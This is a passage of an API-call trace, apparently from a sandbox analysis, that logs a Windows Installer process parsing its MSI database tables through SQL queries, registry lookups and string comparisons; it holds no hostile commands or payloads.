GetCurrentThreadId () returned 0xf50 [0128.865] GetCurrentThreadId () returned 0xf50 [0128.865] GetCurrentThreadId () returned 0xf50 [0128.865] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cdb68 | out: phkResult=0x10cdb68*=0x0) returned 0x2 [0128.866] GetCurrentThreadId () returned 0xf50 [0128.866] GlobalUnlock (hMem=0xf401b8) returned 0 [0128.866] lstrlenW (lpString="File") returned 4 [0128.867] lstrlenW (lpString="File") returned 4 [0128.867] lstrlenW (lpString="FileAction") returned 10 [0128.867] lstrlenW (lpString="File") returned 4 [0128.867] lstrlenW (lpString="FileName") returned 8 [0128.867] lstrlenW (lpString="State") returned 5 [0128.867] lstrlenW (lpString="FileSize") returned 8 [0128.867] lstrlenW (lpString="Component_") returned 10 [0128.867] lstrlenW (lpString="Directory_") returned 10 [0128.868] lstrlenW (lpString="Installed") returned 9 [0128.868] lstrlenW (lpString="Action") returned 6 [0128.868] lstrlenW (lpString="ForceLocalFiles") returned 15 [0128.868] lstrlenW (lpString="ComponentId") returned 11 [0128.868] lstrlenW (lpString="BinaryType") returned 10 [0128.868] GlobalLock (hMem=0xf401b8) returned 0x3b50bc0 [0128.868] lstrlenW (lpString="Component") returned 9 [0128.869] GlobalLock (hMem=0xf401d8) returned 0x36e690 [0128.869] lstrlenW (lpString="FileAction") returned 10 [0128.869] lstrlenW (lpString="Media") returned 5 [0128.869] lstrlenW (lpString="Source") returned 6 [0128.869] _vsnwprintf (in: _Buffer=0x10cde90, _BufferCount=0xff, _Format="SELECT `LastSequence`, `DiskPrompt`,%s,`Cabinet`,`Source`, `DiskId` FROM `Media` ORDER BY `DiskId`", _ArgList=0x10cde68 | out: _Buffer="SELECT `LastSequence`, `DiskPrompt`,`VolumeLabel`,`Cabinet`,`Source`, `DiskId` FROM `Media` ORDER BY `DiskId`") returned 109 [0128.869] GlobalLock (hMem=0xf401e8) returned 0x36e7b0 [0128.869] lstrlenW (lpString="SELECT `LastSequence`, `DiskPrompt`,`VolumeLabel`,`Cabinet`,`Source`, `DiskId` FROM `Media` ORDER BY `DiskId`") returned 109 [0128.869] lstrlenW (lpString="SELECT `LastSequence`, `DiskPrompt`,`VolumeLabel`,`Cabinet`,`Source`, `DiskId` FROM `Media` ORDER BY `DiskId`") returned 109 [0128.869] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0128.870] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0128.870] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0128.870] lstrlenW (lpString="Media") returned 5 [0128.870] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䈖䌧䠤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cdab0, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0128.871] IStream:Stat (in: This=0x32e790, pstatstg=0x10cda10, grfStatFlag=0x1 | out: pstatstg=0x10cda10) returned 0x0 [0128.871] GlobalLock (hMem=0xf401f8) returned 0x3c2880 [0128.871] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x5c3008c, cb=0x400, pcbRead=0x5c3048c | out: pv=0x5c3008c*=0x1, pcbRead=0x5c3048c*=0xe) returned 0x0 [0128.871] memcpy (in: _Dst=0x10cdb88, _Src=0x5c3008c, _Size=0x2 | out: _Dst=0x10cdb88) returned 0x10cdb88 [0128.871] memcpy (in: _Dst=0x10cdb88, _Src=0x5c3008e, _Size=0x4 | out: _Dst=0x10cdb88) returned 0x10cdb88 [0128.871] memcpy (in: _Dst=0x3c288c, _Src=0x5c30092, _Size=0x2 | out: _Dst=0x3c288c) returned 0x3c288c [0128.871] memcpy (in: _Dst=0x3c2890, _Src=0x5c30094, _Size=0x2 | out: _Dst=0x3c2890) returned 0x3c2890 [0128.871] memcpy (in: _Dst=0x3c2894, _Src=0x5c30096, _Size=0x2 | out: _Dst=0x3c2894) returned 0x3c2894 [0128.871] memcpy (in: _Dst=0x3c2898, _Src=0x5c30098, _Size=0x2 | out: _Dst=0x3c2898) returned 0x3c2898 [0128.871] IUnknown:Release (This=0x32e790) returned 0x0 [0128.871] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0128.871] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0128.871] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0128.871] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0128.871] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0128.871] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0128.871] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0128.871] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0128.871] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0128.871] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0128.871] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0128.871] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0128.871] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0128.872] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0128.872] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0128.872] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0128.872] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0128.872] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0128.872] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0128.872] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0128.872] lstrcmpiW (lpString1="BY", lpString2="BY") returned 0 [0128.872] lstrlenW (lpString="DiskId") returned 6 [0128.872] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0128.872] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0128.872] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0128.872] lstrlenW (lpString="LastSequence") returned 12 [0128.872] lstrlenW (lpString="DiskPrompt") returned 10 [0128.872] lstrlenW (lpString="VolumeLabel") returned 11 [0128.872] lstrlenW (lpString="Cabinet") returned 7 [0128.872] lstrlenW (lpString="Source") returned 6 [0128.872] lstrlenW (lpString="DiskId") returned 6 [0128.873] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0128.873] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0128.873] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0128.873] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0128.873] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0128.873] lstrlenW (lpString="LockPermissions") returned 15 [0128.873] lstrlenW (lpString="MsiLockPermissionsEx") returned 20 [0129.118] GlobalLock (hMem=0xf40208) returned 0x21dff30 [0129.118] lstrlenW (lpString="SELECT `Patch`.`File_`, `Patch`.`Header`, `Patch`.`Attributes`, `Patch`.`Sequence`, `Patch`.`StreamRef_` FROM `Patch` WHERE `Patch`.`File_` = ? AND `Patch`.`#_MsiActive`=? ORDER BY `Patch`.`Sequence`") returned 199 [0129.118] lstrlenW (lpString="SELECT `Patch`.`File_`, `Patch`.`Header`, `Patch`.`Attributes`, `Patch`.`Sequence`, `Patch`.`StreamRef_` FROM `Patch` WHERE `Patch`.`File_` = ? AND `Patch`.`#_MsiActive`=? ORDER BY `Patch`.`Sequence`") returned 199 [0129.118] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.118] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.118] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.118] lstrlenW (lpString="Patch") returned 5 [0129.118] lstrlenW (lpString="SELECT `Patch`.`File_`, `Patch`.`Header`, `Patch`.`Attributes`, `Patch`.`Sequence`, `Patch`.`StreamRef_` FROM `Patch` WHERE `Patch`.`File_` = ? AND `Patch`.`#_MsiActive`=? ORDER BY `Patch`.`Sequence`") returned 199 [0129.118] lstrlenW (lpString="Patch") returned 5 [0129.118] GlobalUnlock (hMem=0xf40208) returned 0 [0129.118] lstrlenW (lpString="ProductLanguage") returned 15 [0129.118] SetLastError (dwErrCode=0x0) [0129.118] _vsnwprintf (in: _Buffer=0x10cde90, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10cdc38 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 1302") returned 50 [0129.118] GlobalLock (hMem=0xf40208) returned 0x21dff30 [0129.118] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1302") returned 50 [0129.118] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1302") returned 50 [0129.118] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.118] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.118] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.119] lstrlenW (lpString="Error") returned 5 [0129.119] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1302") returned 50 [0129.119] lstrlenW (lpString="Error") returned 5 [0129.119] GlobalUnlock (hMem=0xf40208) returned 0 [0129.119] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x5336, dwLanguageId=0x409, lpBuffer=0x10cdc90, nSize=0x100, Arguments=0x0 | out: lpBuffer="Please insert the disk: [2]\r\n") returned 0x1d [0129.119] lstrlenW (lpString="Please insert the disk: [2]") returned 27 [0129.119] GlobalLock (hMem=0xf40208) returned 0x21dff30 [0129.119] lstrlenW (lpString="SELECT `File_` FROM `MsiSFCBypass` WHERE `File_` = ?") returned 52 [0129.119] lstrlenW (lpString="SELECT `File_` FROM `MsiSFCBypass` WHERE `File_` = ?") returned 52 [0129.119] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.119] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.119] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.119] lstrlenW (lpString="MsiSFCBypass") returned 12 [0129.119] lstrlenW (lpString="SELECT `File_` FROM `MsiSFCBypass` WHERE `File_` = ?") returned 52 [0129.119] lstrlenW (lpString="MsiSFCBypass") returned 12 [0129.119] GlobalUnlock (hMem=0xf40208) returned 0 [0129.119] GlobalLock (hMem=0xf40208) returned 0x21dff30 [0129.119] lstrlenW (lpString="SELECT `Header` FROM `MsiPatchHeaders` WHERE `StreamRef` = ?") returned 60 [0129.120] lstrlenW (lpString="SELECT `Header` FROM `MsiPatchHeaders` WHERE `StreamRef` = ?") returned 60 [0129.120] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.120] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.120] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.120] lstrlenW (lpString="MsiPatchHeaders") returned 15 [0129.120] lstrlenW (lpString="SELECT `Header` FROM `MsiPatchHeaders` WHERE `StreamRef` = ?") returned 60 [0129.120] lstrlenW (lpString="MsiPatchHeaders") returned 15 [0129.120] GlobalUnlock (hMem=0xf40208) returned 0 [0129.120] lstrlenW (lpString="SELECT `File`.`FileName`,`Version`,`File`.`State`,`File`.`Attributes`,`TempAttributes`,`File`.`File`,`File`.`FileSize`,`Language`,`Sequence`, `Directory_`, `Installed`,`FileAction`.`Action`,`File`.`Component_`,`FileAction`.`ForceLocalFiles`, `ComponentId`, NULL FROM `File`,`FileAction` WHERE `File`.`File`=`FileAction`.`File`") returned 326 [0129.120] lstrlenW (lpString=" ORDER BY `Sequence`, `Directory_`") returned 34 [0129.120] lstrlenW (lpString="AND `File`.`File`=?") returned 19 [0129.120] GlobalLock (hMem=0xf40208) returned 0x21dff30 [0129.120] lstrlenW (lpString="SELECT `File`.`FileName`,`Version`,`File`.`State`,`File`.`Attributes`,`TempAttributes`,`File`.`File`,`File`.`FileSize`,`Language`,`Sequence`, `Directory_`, `Installed`,`FileAction`.`Action`,`File`.`Component_`,`FileAction`.`ForceLocalFiles`, `ComponentId`, NULL FROM `File`,`FileAction` WHERE `File`.`File`=`FileAction`.`File` ORDER BY `Sequence`, `Directory_`") returned 360 [0129.120] lstrlenW (lpString="SELECT `File`.`FileName`,`Version`,`File`.`State`,`File`.`Attributes`,`TempAttributes`,`File`.`File`,`File`.`FileSize`,`Language`,`Sequence`, `Directory_`, `Installed`,`FileAction`.`Action`,`File`.`Component_`,`FileAction`.`ForceLocalFiles`, `ComponentId`, NULL FROM `File`,`FileAction` WHERE `File`.`File`=`FileAction`.`File` ORDER BY `Sequence`, `Directory_`") returned 360 [0129.120] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.120] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.120] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.120] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.120] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.120] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.120] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.120] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.121] lstrlenW (lpString="File") returned 4 [0129.121] lstrlenW (lpString="FileAction") returned 10 [0129.121] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.121] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.121] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.121] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.121] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.121] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.121] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.121] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.121] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.121] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.121] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0129.121] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0129.121] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0129.121] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0129.121] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0129.121] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0129.121] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0129.121] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0129.121] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0129.121] lstrlenW (lpString="File") returned 4 [0129.122] lstrlenW (lpString="File") returned 4 [0129.122] lstrlenW (lpString="=") returned 1 [0129.122] lstrlenW (lpString="FileAction") returned 10 [0129.122] lstrlenW (lpString="File") returned 4 [0129.122] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0129.122] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0129.122] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0129.122] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0129.122] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0129.122] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0129.122] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0129.122] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0129.122] lstrcmpiW (lpString1="BY", lpString2="BY") returned 0 [0129.123] lstrlenW (lpString="Sequence") returned 8 [0129.123] lstrlenW (lpString="Directory_") returned 10 [0129.123] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.123] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.123] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.123] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.123] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.123] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.123] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.123] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.123] lstrlenW (lpString="File") returned 4 [0129.123] lstrlenW (lpString="FileName") returned 8 [0129.123] lstrlenW (lpString="Version") returned 7 [0129.123] lstrlenW (lpString="File") returned 4 [0129.123] lstrlenW (lpString="State") returned 5 [0129.123] lstrlenW (lpString="File") returned 4 [0129.123] lstrlenW (lpString="Attributes") returned 10 [0129.123] lstrlenW (lpString="TempAttributes") returned 14 [0129.123] lstrlenW (lpString="File") returned 4 [0129.123] lstrlenW (lpString="File") returned 4 [0129.123] lstrlenW (lpString="File") returned 4 [0129.124] lstrlenW (lpString="FileSize") returned 8 [0129.124] lstrlenW (lpString="Language") returned 8 [0129.124] lstrlenW (lpString="Sequence") returned 8 [0129.124] lstrlenW (lpString="Directory_") returned 10 [0129.124] lstrlenW (lpString="Installed") returned 9 [0129.124] lstrlenW (lpString="FileAction") returned 10 [0129.124] lstrlenW (lpString="Action") returned 6 [0129.124] lstrlenW (lpString="File") returned 4 [0129.124] lstrlenW (lpString="Component_") returned 10 [0129.124] lstrlenW (lpString="FileAction") returned 10 [0129.124] lstrlenW (lpString="ForceLocalFiles") returned 15 [0129.124] lstrlenW (lpString="ComponentId") returned 11 [0129.124] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.124] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.124] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.124] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.124] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.124] lstrlenW (lpString="NULL") returned 4 [0129.124] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.124] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.124] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.125] GlobalLock (hMem=0xf40218) returned 0x37b01a0 [0129.125] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0129.125] lstrlenW (lpString="SELECT `File`.`FileName`,`Version`,`File`.`State`,`File`.`Attributes`,`TempAttributes`,`File`.`File`,`File`.`FileSize`,`Language`,`Sequence`, `Directory_`, `Installed`,`FileAction`.`Action`,`File`.`Component_`,`FileAction`.`ForceLocalFiles`, `ComponentId`, NULL FROM `File`,`FileAction` WHERE `File`.`File`=`FileAction`.`File`AND `File`.`File`=?") returned 345 [0129.125] lstrlenW (lpString="SELECT `File`.`FileName`,`Version`,`File`.`State`,`File`.`Attributes`,`TempAttributes`,`File`.`File`,`File`.`FileSize`,`Language`,`Sequence`, `Directory_`, `Installed`,`FileAction`.`Action`,`File`.`Component_`,`FileAction`.`ForceLocalFiles`, `ComponentId`, NULL FROM `File`,`FileAction` WHERE `File`.`File`=`FileAction`.`File`AND `File`.`File`=?") returned 345 [0129.125] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.125] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.125] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.125] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.125] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.125] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.125] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.125] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.125] lstrlenW (lpString="File") returned 4 [0129.125] lstrlenW (lpString="FileAction") returned 10 [0129.125] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.125] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.125] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.125] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.125] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.125] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.125] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.125] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.125] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.126] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.126] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0129.126] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0129.126] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0129.126] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0129.126] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0129.126] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0129.126] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0129.126] lstrlenW (lpString="File") returned 4 [0129.126] lstrlenW (lpString="File") returned 4 [0129.126] lstrlenW (lpString="=") returned 1 [0129.126] lstrlenW (lpString="FileAction") returned 10 [0129.126] lstrlenW (lpString="File") returned 4 [0129.126] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0129.126] lstrlenW (lpString="File") returned 4 [0129.126] lstrlenW (lpString="File") returned 4 [0129.126] lstrlenW (lpString="=") returned 1 [0129.126] lstrlenW (lpString="?") returned 1 [0129.126] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.126] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.126] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.126] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.126] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.126] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.126] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.126] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.127] lstrlenW (lpString="File") returned 4 [0129.127] lstrlenW (lpString="FileName") returned 8 [0129.127] lstrlenW (lpString="Version") returned 7 [0129.127] lstrlenW (lpString="File") returned 4 [0129.127] lstrlenW (lpString="State") returned 5 [0129.127] lstrlenW (lpString="File") returned 4 [0129.127] lstrlenW (lpString="Attributes") returned 10 [0129.127] lstrlenW (lpString="TempAttributes") returned 14 [0129.127] lstrlenW (lpString="File") returned 4 [0129.127] lstrlenW (lpString="File") returned 4 [0129.127] lstrlenW (lpString="File") returned 4 [0129.127] lstrlenW (lpString="FileSize") returned 8 [0129.127] lstrlenW (lpString="Language") returned 8 [0129.127] lstrlenW (lpString="Sequence") returned 8 [0129.127] lstrlenW (lpString="Directory_") returned 10 [0129.127] lstrlenW (lpString="Installed") returned 9 [0129.127] lstrlenW (lpString="FileAction") returned 10 [0129.127] lstrlenW (lpString="Action") returned 6 [0129.127] lstrlenW (lpString="File") returned 4 [0129.127] lstrlenW (lpString="Component_") returned 10 [0129.127] lstrlenW (lpString="FileAction") returned 10 [0129.127] lstrlenW (lpString="ForceLocalFiles") returned 15 [0129.128] lstrlenW (lpString="ComponentId") returned 11 [0129.128] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.128] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.128] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.128] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.128] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.128] lstrlenW (lpString="NULL") returned 4 [0129.128] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.128] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.128] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.129] GlobalLock (hMem=0xf40238) returned 0x2100b00 [0129.129] lstrlenW (lpString="SELECT `File`.`File`, `Component`.`Directory_`, `File`.`FileName`, `Component`.`ComponentId`, `Component`.`Component` FROM `File`, `Component` WHERE `File`.`File`=`Component`.`KeyPath` AND `Component`.`ForceComponentCache`=1") returned 224 [0129.129] lstrlenW (lpString="SELECT `File`.`File`, `Component`.`Directory_`, `File`.`FileName`, `Component`.`ComponentId`, `Component`.`Component` FROM `File`, `Component` WHERE `File`.`File`=`Component`.`KeyPath` AND `Component`.`ForceComponentCache`=1") returned 224 [0129.129] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.129] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.129] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.129] lstrlenW (lpString="File") returned 4 [0129.129] lstrlenW (lpString="Component") returned 9 [0129.129] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.129] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.129] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.129] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.129] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.129] memcpy (in: _Dst=0x2100b08, _Src=0x2100b00, _Size=0x8 | out: _Dst=0x2100b08) returned 0x2100b08 [0129.129] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0129.129] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0129.129] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0129.130] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.130] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0129.130] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0129.130] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0129.130] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0129.130] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0129.130] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0129.130] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0129.130] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0129.130] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0129.130] lstrcmpiW 